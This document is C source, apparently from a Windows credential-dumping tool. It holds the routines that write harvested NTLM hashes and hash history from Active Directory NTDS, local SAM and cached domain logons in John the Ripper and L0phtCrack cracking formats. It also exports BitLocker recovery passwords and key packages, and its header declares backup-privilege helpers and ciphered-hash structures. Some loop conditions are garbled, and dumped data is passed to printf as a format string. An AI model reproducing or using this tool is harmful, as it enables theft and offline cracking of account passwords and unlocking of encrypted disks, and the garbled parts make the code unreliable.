NTDS_NTLM_DumpJohn(s_ldapAccountInfo *ldapAccountEntry,LPSTR szOut) { 317 | TCHAR szLM[64],szNT[256]; 318 | UINT i; 319 | 320 | if(ldapAccountEntry->NTLM_hash.hash_type == NT_NO_HASH) 321 | wsprintf(szOut,"%ls:%d:%s:%s:::\r\n",ldapAccountEntry->szSAMAccountName,ldapAccountEntry->rid,SAM_EMPTY_LM,SAM_EMPTY_NT); 322 | else { 323 | BytesToHex(ldapAccountEntry->NTLM_hash.NT_hash,WIN_NTLM_HASH_SIZE,szNT); 324 | 325 | if(ldapAccountEntry->NTLM_hash.hash_type == LM_HASH) { 326 | BytesToHex(ldapAccountEntry->NTLM_hash.LM_hash,WIN_NTLM_HASH_SIZE,szLM); 327 | wsprintf(szOut,"%ls:%d:%s:%s:::\r\n",ldapAccountEntry->szSAMAccountName,ldapAccountEntry->rid,szLM,szNT); 328 | } 329 | else if(ldapAccountEntry->NTLM_hash.hash_type == NT_HASH) 330 | wsprintf(szOut,"%ls:%d:%s:%s:::\r\n",ldapAccountEntry->szSAMAccountName,ldapAccountEntry->rid,SAM_EMPTY_LM,szNT); 331 | } 332 | 333 | if(ldapAccountEntry->nbHistoryEntries) { 334 | for(i=0;inbHistoryEntries;i++) { 335 | BytesToHex(ldapAccountEntry->NTLM_hash_history[i].NT_hash,WIN_NTLM_HASH_SIZE,szNT); 336 | BytesToHex(ldapAccountEntry->NTLM_hash_history[i].LM_hash,WIN_NTLM_HASH_SIZE,szLM); 337 | wsprintf(szOut+lstrlen(szOut),"%ls_hist%d:%d:%s:%s:::\r\n",ldapAccountEntry->szSAMAccountName,i,ldapAccountEntry->rid,szLM,szNT); 338 | } 339 | } 340 | 341 | return TRUE; 342 | } 343 | 344 | 345 | /* 346 | * Dump to text one entry of a ll_ldapAccountInfo linked list 347 | * Format : L0phCrack 348 | */ 349 | BOOL NTDS_NTLM_DumpLc(s_ldapAccountInfo *ldapAccountEntry,LPSTR szOut) { 350 | TCHAR szLM[256],szNT[256]; 351 | UINT i; 352 | 353 | if(ldapAccountEntry->NTLM_hash.hash_type == NT_NO_HASH) 354 | wsprintf(szOut,"%ls:\"\":\"\":%s:%s\r\n",ldapAccountEntry->szSAMAccountName,SAM_EMPTY_LM,SAM_EMPTY_NT); 355 | else { 356 | BytesToHex(ldapAccountEntry->NTLM_hash.NT_hash,WIN_NTLM_HASH_SIZE,szNT); 357 | if(ldapAccountEntry->NTLM_hash.hash_type == LM_HASH) { 358 | BytesToHex(ldapAccountEntry->NTLM_hash.LM_hash,WIN_NTLM_HASH_SIZE,szLM); 359 | wsprintf(szOut,"%ls:\"\":\"\":%s:%s\r\n",ldapAccountEntry->szSAMAccountName,szLM,szNT); 360 | } 361 | else if(ldapAccountEntry->NTLM_hash.hash_type == NT_HASH) 362 | wsprintf(szOut,"%ls:\"\":\"\":%s:%s\r\n",ldapAccountEntry->szSAMAccountName,SAM_EMPTY_LM,szNT); 363 | } 364 | 365 | if(ldapAccountEntry->nbHistoryEntries) { 366 | for(i=0;inbHistoryEntries;i++) { 367 | BytesToHex(ldapAccountEntry->NTLM_hash_history[i].NT_hash,WIN_NTLM_HASH_SIZE,szNT); 368 | BytesToHex(ldapAccountEntry->NTLM_hash_history[i].LM_hash,WIN_NTLM_HASH_SIZE,szLM); 369 | wsprintf(szOut+lstrlen(szOut),"%ls:\"\":\"\":%s:%s\r\n",ldapAccountEntry->szSAMAccountName,szLM,szNT); 370 | } 371 | } 372 | 373 | return TRUE; 374 | } 375 | 376 | 377 | /* 378 | * Dump a ll_ldapAccountInfo linked list 379 | * (SAMAccoutnName,deciphered NT, deciphered LM) 380 | */ 381 | BOOL NTDS_NTLM_DumpAll(ll_ldapAccountInfo ldapAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName) { 382 | ll_ldapAccountInfo currentAccount = ldapAccountInfo; 383 | TCHAR szHashLine[4096]; 384 | DWORD dwNbWritten,count=0; 385 | HANDLE hFile; 386 | BOOL ret; 387 | 388 | if(!currentAccount) 389 | return FALSE; 390 | 391 | if(!isStdout) { 392 | if((hFile=CreateFile(outFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) 393 | return FALSE; 394 | } 395 | else 396 | puts(SZ_DUMP_BEGIN); 397 | 398 | do{ 399 | if(dump_type==NTDUMP_JOHN) 400 | ret = NTDS_NTLM_DumpJohn(¤tAccount->info,szHashLine); 401 | else if(dump_type==NTDUMP_LC) 402 | ret = NTDS_NTLM_DumpLc(¤tAccount->info,szHashLine); 403 | if(isStdout) 404 | printf(szHashLine); 405 | else { 406 | WriteFile(hFile,szHashLine,lstrlen(szHashLine),&dwNbWritten,NULL); 407 | } 408 | if(ret) 409 | count++; 410 | currentAccount = currentAccount->next; 411 | }while(currentAccount); 412 | 413 | if(!isStdout) 414 | CloseHandle(hFile); 415 | else 416 | puts(SZ_DUMP_END); 417 | 418 | if(isStdout) 419 | printf("\n%d dumped accounts\n\n",count); 420 | else 421 | printf("\n%d dumped accounts to %s\n\n",count,outFileName); 422 | 423 | return TRUE; 424 | } 425 | 426 | 427 | /* 428 | * Dump to text one entry of a ll_localAccountInfo linked list 429 | * Format : John The Ripper 430 | */ 431 | void SAM_NTLM_DumpJohn(s_localAccountInfo *localAccountEntry,LPSTR szOut) { 432 | TCHAR szLM[64],szNT[256]; 433 | UINT i; 434 | 435 | BytesToHex(localAccountEntry->NTLM_hash.NT_hash,WIN_NTLM_HASH_SIZE,szNT); 436 | 437 | if(localAccountEntry->NTLM_hash.hash_type == LM_HASH) { 438 | BytesToHex(localAccountEntry->NTLM_hash.LM_hash,WIN_NTLM_HASH_SIZE,szLM); 439 | wsprintf(szOut,"%s:%d:%s:%s:::\r\n",localAccountEntry->szSAMAccountName,localAccountEntry->rid,szLM,szNT); 440 | } 441 | else if(localAccountEntry->NTLM_hash.hash_type == NT_HASH) 442 | wsprintf(szOut,"%s:%d:%s:%s:::\r\n",localAccountEntry->szSAMAccountName,localAccountEntry->rid,SAM_EMPTY_LM,szNT); 443 | else if(localAccountEntry->NTLM_hash.hash_type == NT_NO_HASH) 444 | wsprintf(szOut,"%s:%d:%s:%s:::\r\n",localAccountEntry->szSAMAccountName,localAccountEntry->rid,SAM_EMPTY_LM,SAM_EMPTY_NT); 445 | 446 | if(localAccountEntry->NTLM_hash_history) { 447 | for(i=0;inbHistoryEntries;i++) { 448 | BytesToHex(localAccountEntry->NTLM_hash_history[i].NT_hash,WIN_NTLM_HASH_SIZE,szNT); 449 | BytesToHex(localAccountEntry->NTLM_hash_history[i].LM_hash,WIN_NTLM_HASH_SIZE,szLM); 450 | wsprintf(szOut+lstrlen(szOut),"%s_hist%d:%d:%s:%s:::\r\n",localAccountEntry->szSAMAccountName,i,localAccountEntry->rid,szLM,szNT); 451 | } 452 | } 453 | } 454 | 455 | 456 | /* 457 | * Dump to text one entry of a ll_localAccountInfo linked list 458 | * Format : L0phCrack 459 | */ 460 | void SAM_NTLM_DumpLc(s_localAccountInfo *localAccountEntry,LPSTR szOut) { 461 | TCHAR szLM[256],szNT[256]; 462 | UINT i; 463 | 464 | BytesToHex(localAccountEntry->NTLM_hash.NT_hash,WIN_NTLM_HASH_SIZE,szNT); 465 | 466 | if(localAccountEntry->NTLM_hash.hash_type == LM_HASH) { 467 | BytesToHex(localAccountEntry->NTLM_hash.LM_hash,WIN_NTLM_HASH_SIZE,szLM); 468 | wsprintf(szOut,"%s:\"\":\"\":%s:%s\r\n",localAccountEntry->szSAMAccountName,szLM,szNT); 469 | } 470 | else if(localAccountEntry->NTLM_hash.hash_type == NT_HASH) 471 | wsprintf(szOut,"%s:\"\":\"\":%s:%s\r\n",localAccountEntry->szSAMAccountName,SAM_EMPTY_LM,szNT); 472 | else if(localAccountEntry->NTLM_hash.hash_type == NT_NO_HASH) 473 | wsprintf(szOut,"%s:\"\":\"\":%s:%s\r\n",localAccountEntry->szSAMAccountName,SAM_EMPTY_LM,SAM_EMPTY_NT); 474 | 475 | if(localAccountEntry->NTLM_hash_history) { 476 | for(i=0;inbHistoryEntries;i++) { 477 | BytesToHex(localAccountEntry->NTLM_hash_history[i].NT_hash,WIN_NTLM_HASH_SIZE,szNT); 478 | BytesToHex(localAccountEntry->NTLM_hash_history[i].LM_hash,WIN_NTLM_HASH_SIZE,szLM); 479 | wsprintf(szOut+lstrlen(szOut),"%s_hist%d:\"\":\"\":%s:%s\r\n",localAccountEntry->szSAMAccountName,i,szLM,szNT); 480 | } 481 | } 482 | } 483 | 484 | 485 | /* 486 | * Dump to text a ll_localAccountInfo linked list 487 | * (SAMAccoutnName,deciphered NT, deciphered LM) 488 | */ 489 | BOOL SAM_NTLM_DumpAll(ll_localAccountInfo localAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName) { 490 | ll_localAccountInfo currentAccount = localAccountInfo; 491 | TCHAR szHashLine[4096]; 492 | DWORD dwNbWritten,count=0; 493 | HANDLE hFile; 494 | 495 | if(!currentAccount) 496 | return FALSE; 497 | 498 | if(!isStdout) { 499 | if((hFile=CreateFile(outFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) 500 | return FALSE; 501 | } 502 | else 503 | puts(SZ_DUMP_BEGIN); 504 | 505 | do{ 506 | if(dump_type==NTDUMP_JOHN) 507 | SAM_NTLM_DumpJohn(¤tAccount->info,szHashLine); 508 | else if(dump_type==NTDUMP_LC) 509 | SAM_NTLM_DumpLc(¤tAccount->info,szHashLine); 510 | if(isStdout) 511 | printf(szHashLine); 512 | else { 513 | WriteFile(hFile,szHashLine,lstrlen(szHashLine),&dwNbWritten,NULL); 514 | } 515 | currentAccount = currentAccount->next; 516 | count++; 517 | }while(currentAccount); 518 | 519 | if(!isStdout) 520 | CloseHandle(hFile); 521 | else 522 | puts(SZ_DUMP_END); 523 | 524 | if(isStdout) 525 | printf("\n%d dumped accounts\n\n",count); 526 | else 527 | printf("\n%d dumped accounts to %s\n\n",count,outFileName); 528 | 529 | return TRUE; 530 | } 531 | 532 | 533 | /* 534 | * Dump to text a ll_cachedAccountInfo linked list 535 | * (SAMAccoutnName,deciphered NT) 536 | */ 537 | BOOL SAM_NTLM_Cached_DumpAll(ll_cachedAccountInfo cachedAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName) { 538 | ll_cachedAccountInfo currentAccount = cachedAccountInfo; 539 | TCHAR szHashLine[1024],szNT[128]; 540 | DWORD dwNbWritten,count=0; 541 | HANDLE hFile; 542 | 543 | if(!isStdout) { 544 | if((hFile=CreateFile(outFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) 545 | return FALSE; 546 | } 547 | else 548 | puts(SZ_DUMP_BEGIN); 549 | 550 | do{ 551 | if(!currentAccount->info.isEmpty) { 552 | BytesToHex(currentAccount->info.NTLM_hash.NT_hash,WIN_NTLM_HASH_SIZE,szNT); 553 | sprintf_s(szHashLine,1024,"Cached Entry\r\n\tUsername: %ls\r\n\tDomain: %ls\r\n\tFull Domain: %ls\r\n\tNT hash: %s\r\n", 554 | currentAccount->info.szSAMAccountName, 555 | currentAccount->info.szDomain, 556 | currentAccount->info.szFullDomain, 557 | szNT); 558 | count++; 559 | if(isStdout) 560 | puts(szHashLine); 561 | else 562 | WriteFile(hFile,szHashLine,lstrlen(szHashLine),&dwNbWritten,NULL); 563 | } 564 | currentAccount = currentAccount->next; 565 | }while(currentAccount); 566 | 567 | if(!isStdout) 568 | CloseHandle(hFile); 569 | else 570 | puts(SZ_DUMP_END); 571 | 572 | if(isStdout) 573 | printf("\n%d dumped accounts\n\n",count); 574 | else 575 | printf("\n%d dumped accounts to %s\n\n",count,outFileName); 576 | 577 | return TRUE; 578 | } 579 | 580 | 581 | /* 582 | * Dump key-package struct to a keyfile 583 | */ 584 | BOOL BitLocker_DumpKeyPackage(s_bitlockerAccountInfo *bitlockerAccountEntry,LPWSTR outFileName) { 585 | HANDLE hFile; 586 | DWORD dwNbWritten; 587 | 588 | if((hFile=CreateFileW(outFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) 589 | return FALSE; 590 | 591 | WriteFile(hFile,bitlockerAccountEntry->msFVE_KeyPackage,bitlockerAccountEntry->dwSzKeyPackage,&dwNbWritten,NULL); 592 | 593 | CloseHandle(hFile); 594 | 595 | return dwNbWritten == bitlockerAccountEntry->dwSzKeyPackage; 596 | } 597 | 598 | 599 | /* 600 | * Dump to text one entry of a ll_bitlockerAccountInfo linked list 601 | */ 602 | void Bitlocker_Dump(s_bitlockerAccountInfo *bitlockerAccountEntry,LPSTR szOut) { 603 | WCHAR szVolumeGUID[128],szRecoveryGUID[128]; 604 | WCHAR szKeyPackageFileName[MAX_PATH+1]; 605 | 606 | StringFromGUID2(bitlockerAccountEntry->msFVE_VolumeGUID,szVolumeGUID,sizeof(szVolumeGUID)); 607 | StringFromGUID2(bitlockerAccountEntry->msFVE_RecoveryGUID,szRecoveryGUID,sizeof(szRecoveryGUID)); 608 | 609 | RtlZeroMemory(szKeyPackageFileName,sizeof(szKeyPackageFileName)); 610 | RtlMoveMemory(szKeyPackageFileName,szRecoveryGUID+1,2*(lstrlenW(szRecoveryGUID)-2)); 611 | lstrcatW(szKeyPackageFileName,L".pk"); 612 | 613 | if(!BitLocker_DumpKeyPackage(bitlockerAccountEntry,szKeyPackageFileName)) 614 | lstrcpynW(szKeyPackageFileName,L"(Error while saving)",MAX_PATH); 615 | 616 | sprintf_s(szOut,2048,"Bitlocker entry\r\n\tVolume GUID: %ls\r\n\tRecovery GUID: %ls\r\n\tRecovery password: %ls\r\n\tKey-package: saved to binary file %ls\r\n", 617 | szVolumeGUID,szRecoveryGUID, 618 | bitlockerAccountEntry->msFVE_RecoveryPassword, 619 | szKeyPackageFileName); 620 | 621 | } 622 | 623 | 624 | /* 625 | * Dump a ll_bitlockerAccountInfo linked list 626 | * (msFVE_VolumeGUID, msFVE_RecoveryGUID, msFVE_RecoveryPassword, msFVE_KeyPackage) 627 | */ 628 | BOOL Bitlocker_DumpAll(ll_bitlockerAccountInfo bitlockerAccountInfo,BOOL isStdout,LPSTR outFileName) { 629 | ll_bitlockerAccountInfo currentAccount = bitlockerAccountInfo; 630 | TCHAR szBitlockerEntry[2048]; 631 | DWORD dwNbWritten,count=0; 632 | HANDLE hFile; 633 | 634 | if(!currentAccount) 635 | return FALSE; 636 | 637 | if(!isStdout) { 638 | if((hFile=CreateFile(outFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) 639 | return FALSE; 640 | } 641 | else 642 | puts(SZ_DUMP_BEGIN); 643 | 644 | do{ 645 | Bitlocker_Dump(¤tAccount->info,szBitlockerEntry); 646 | count++; 647 | if(isStdout) 648 | printf(szBitlockerEntry); 649 | else 650 | WriteFile(hFile,szBitlockerEntry,lstrlen(szBitlockerEntry),&dwNbWritten,NULL); 651 | currentAccount = currentAccount->next; 652 | }while(currentAccount); 653 | 654 | if(!isStdout) 655 | CloseHandle(hFile); 656 | else 657 | puts(SZ_DUMP_END); 658 | 659 | if(isStdout) 660 | printf("\n%d dumped entries\n\n",count); 661 | else 662 | printf("\n%d dumped entries to %s\n\n",count,outFileName); 663 | 664 | return TRUE; 665 | } 666 | -------------------------------------------------------------------------------- /src/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | 5 | /* Dumping tools */ 6 | #define SZ_DUMP_BEGIN "\n--------------------------------------------- BEGIN DUMP --------------------------------------------" 7 | #define SZ_DUMP_END "---------------------------------------------- END DUMP ---------------------------------------------" 8 | 9 | #define SAM_EMPTY_LM "AAD3B435B51404EEAAD3B435B51404EE" 10 | static BYTE SAM_EMPTY_LM_BYTES[16] = {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x04,0xEE,0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x04,0xEE}; 11 | #define SAM_EMPTY_NT "31D6CFE0D16AE931B73C59D7E0C089C0" 12 | 13 | /* NT/LM hash struct */ 14 | #define WIN_NTLM_HASH_SIZE 16 15 | typedef enum{LM_HASH,NT_HASH,NT_NO_HASH}NT_HASH_TYPE; 16 | 17 | typedef struct { 18 | NT_HASH_TYPE hash_type; 19 | BYTE LM_hash[WIN_NTLM_HASH_SIZE]; 20 | BYTE NT_hash[WIN_NTLM_HASH_SIZE]; 21 | }s_NTLM_Hash; 22 | 23 | #pragma pack(push) 24 | #pragma pack(1) 25 | 26 | /* NTDS ciphered NT/LM hash struct */ 27 | typedef struct { 28 | BYTE marker[8]; 29 | BYTE decipher_key[16]; 30 | BYTE ciphered_hash[WIN_NTLM_HASH_SIZE]; 31 | }s_NTLM_hash_ciphered; 32 | 33 | /* NTDS deciphered PEK struct */ 34 | typedef struct{ 35 | BYTE marker2[36]; 36 | BYTE decipher_key2[16]; 37 | }s_NTLM_pek; 38 | 39 | /* NTDS ciphered PEK struct */ 40 | typedef struct{ 41 | BYTE marker[8]; 42 | BYTE decipher_key1[16]; 43 | BYTE marker2[36]; 44 | BYTE decipher_key2_ciphered[16]; 45 | }s_NTLM_pek_ciphered; 46 | #pragma pack(pop) 47 | 48 | 49 | /* 50 | * SAM accounts structures (ldap, local & cached) 51 | * + Bitlocker account struct 52 | */ 53 | typedef struct { 54 | WCHAR szSAMAccountName[UNLEN+1]; 55 | DWORD szSAMAccountType; 56 | PSID sid; 57 | DWORD rid; 58 | s_NTLM_hash_ciphered LM_hash_ciphered; 59 | s_NTLM_hash_ciphered NT_hash_ciphered; 60 | UINT nbHistoryEntries; 61 | 62 | LPBYTE LM_history_ciphered; 63 | LPBYTE NT_history_ciphered; 64 | UINT LM_history_ciphered_size; 65 | UINT NT_history_ciphered_size; 66 | LPBYTE LM_history_deciphered; 67 | LPBYTE NT_history_deciphered; 68 | 69 | s_NTLM_Hash NTLM_hash; 70 | s_NTLM_Hash *NTLM_hash_history; 71 | }s_ldapAccountInfo; 72 | 73 | typedef struct { 74 | TCHAR szSAMAccountName[UNLEN+1]; 75 | DWORD rid; 76 | LPBYTE V; /* Ciphered hash & history */ 77 | DWORD dwVSize; 78 | UINT nbHistoryEntries; 79 | 80 | s_NTLM_Hash NTLM_hash; 81 | s_NTLM_Hash *NTLM_hash_history; 82 | }s_localAccountInfo; 83 | 84 | typedef struct { 85 | WCHAR szSAMAccountName[UNLEN+1]; 86 | WCHAR szFullDomain[UNLEN+1]; 87 | WCHAR szDomain[UNLEN+1]; 88 | LPBYTE cachedEntry; /* Ciphered buffer : hash, username,. domain name, ..*/ 89 | DWORD dwCachedEntrySize; 90 | BOOL isEmpty; 91 | 92 | s_NTLM_Hash NTLM_hash; 93 | }s_cachedAccountInfo; 94 | 95 | typedef struct { 96 | TCHAR szSAMAccountName[UNLEN+1]; 97 | GUID msFVE_VolumeGUID; 98 | GUID msFVE_RecoveryGUID; 99 | WCHAR msFVE_RecoveryPassword[55+1]; /* Recovery password (48 digits + '-') */ 100 | LPBYTE msFVE_KeyPackage; /* Binary keyfile for recovery */ 101 | DWORD dwSzKeyPackage; 102 | }s_bitlockerAccountInfo; 103 | 104 | 105 | /* Linked list strcutures for SAM accounts */ 106 | typedef struct l_ldapAccountInfo 107 | { 108 | s_ldapAccountInfo info; 109 | struct l_ldapAccountInfo *next; 110 | }l_ldapAccountInfo; 111 | 112 | typedef l_ldapAccountInfo* ll_ldapAccountInfo; 113 | 114 | typedef struct l_localAccountInfo 115 | { 116 | s_localAccountInfo info; 117 | struct l_localAccountInfo *next; 118 | }l_localAccountInfo; 119 | 120 | typedef l_localAccountInfo* ll_localAccountInfo; 121 | 122 | typedef struct l_cachedAccountInfo 123 | { 124 | s_cachedAccountInfo info; 125 | struct l_cachedAccountInfo *next; 126 | }l_cachedAccountInfo; 127 | 128 | typedef l_cachedAccountInfo* ll_cachedAccountInfo; 129 | 130 | typedef struct l_bitlockerAccountInfo 131 | { 132 | s_bitlockerAccountInfo info; 133 | struct l_bitlockerAccountInfo *next; 134 | }l_bitlockerAccountInfo; 135 | 136 | typedef l_bitlockerAccountInfo* ll_bitlockerAccountInfo; 137 | 138 | 139 | /* Text dump strcuture */ 140 | typedef enum{NTDUMP_JOHN,NTDUMP_LC}NT_DUMP_TYPE; 141 | 142 | 143 | /* Utils + Numeric */ 144 | DWORD BSWAP(DWORD n); 145 | BYTE HexDigitToByte(TCHAR digit); 146 | void BytesToHex(LPVOID data,size_t data_size,LPSTR out_str); 147 | 148 | 149 | /* Privileges setting */ 150 | BOOL SetSeRestorePrivilege(); 151 | BOOL SetSeBackupPrivilege(); 152 | BOOL SetPrivilege(); 153 | 154 | 155 | /* Windows registry overlay */ 156 | BOOL RegGetValueEx(HKEY hKeyReg,LPSTR keyName,LPSTR valueName,LPDWORD type,LPVOID val,DWORD valSize,LPDWORD outValSize); 157 | 158 | 159 | /* Linked list handling for accounts (username, hash, sid,...) */ 160 | ll_ldapAccountInfo ldapAccountInfoNew(ll_ldapAccountInfo *ldapAccountInfo,s_ldapAccountInfo *ldapAccountEntry); 161 | BOOL ldapAccountInfoFreeAll(ll_ldapAccountInfo ldapAccountInfo); 162 | 163 | ll_localAccountInfo localAccountInfoNew(ll_localAccountInfo *localAccountInfo,s_localAccountInfo *localAccountEntry); 164 | BOOL localAccountInfoFreeAll(ll_localAccountInfo localAccountInfo); 165 | 166 | ll_cachedAccountInfo cachedAccountInfoNew(ll_cachedAccountInfo *cachedAccountInfo,s_cachedAccountInfo *cachedAccountEntry); 167 | BOOL cachedAccountInfoFreeAll(ll_cachedAccountInfo cachedAccountInfo); 168 | 169 | ll_bitlockerAccountInfo bitlockerAccountInfoNew(ll_bitlockerAccountInfo *bitlockerAccountInfo,s_bitlockerAccountInfo *bitlockerAccountEntry); 170 | BOOL bitlockerAccountInfoFreeAll(ll_bitlockerAccountInfo bitlockerAccountInfo); 171 | 172 | 173 | /* Debug / text functions */ 174 | void PEK_cipheredDump(s_NTLM_pek_ciphered *pek_ciphered); 175 | void PEK_Dump(s_NTLM_pek *pek); 176 | 177 | BOOL NTDS_NTLM_DumpAll(ll_ldapAccountInfo ldapAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName); 178 | BOOL SAM_NTLM_DumpAll(ll_localAccountInfo localAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName); 179 | BOOL SAM_NTLM_Cached_DumpAll(ll_cachedAccountInfo cachedAccountInfo,NT_DUMP_TYPE dump_type,BOOL isStdout,LPSTR outFileName); 180 | BOOL Bitlocker_DumpAll(ll_bitlockerAccountInfo bitlockerAccountInfo,BOOL isStdout,LPSTR outFileName); 181 | --------------------------------------------------------------------------------